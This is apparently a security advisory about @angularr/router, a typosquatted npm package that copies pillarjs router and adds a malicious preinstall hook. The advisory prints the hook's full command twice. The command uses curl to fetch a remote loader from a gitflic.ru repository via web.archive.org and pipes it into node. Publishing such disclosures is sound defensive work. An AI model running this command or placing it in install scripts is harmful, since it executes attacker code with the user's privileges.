@angularr/router

MAL-2026-17494

Malicious code in @angularr/router (npm)

Details

@angularr/[email protected] impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83)
The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from a third-party repository (gitflic.ru user `hellscripter`, proxied via web.archive.org) and piping it directly into Node for execution during `npm install`. The code executes with the installer's privileges before any package code is loaded. The package name `@angularr/router` (double-r) resembles `@angular/router`, while the shipped library code is a verbatim copy of pillarjs/router (unrelated to Angular) that serves as cover for the malicious lifecycle hook.

Compromised versions (1)

2.2.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.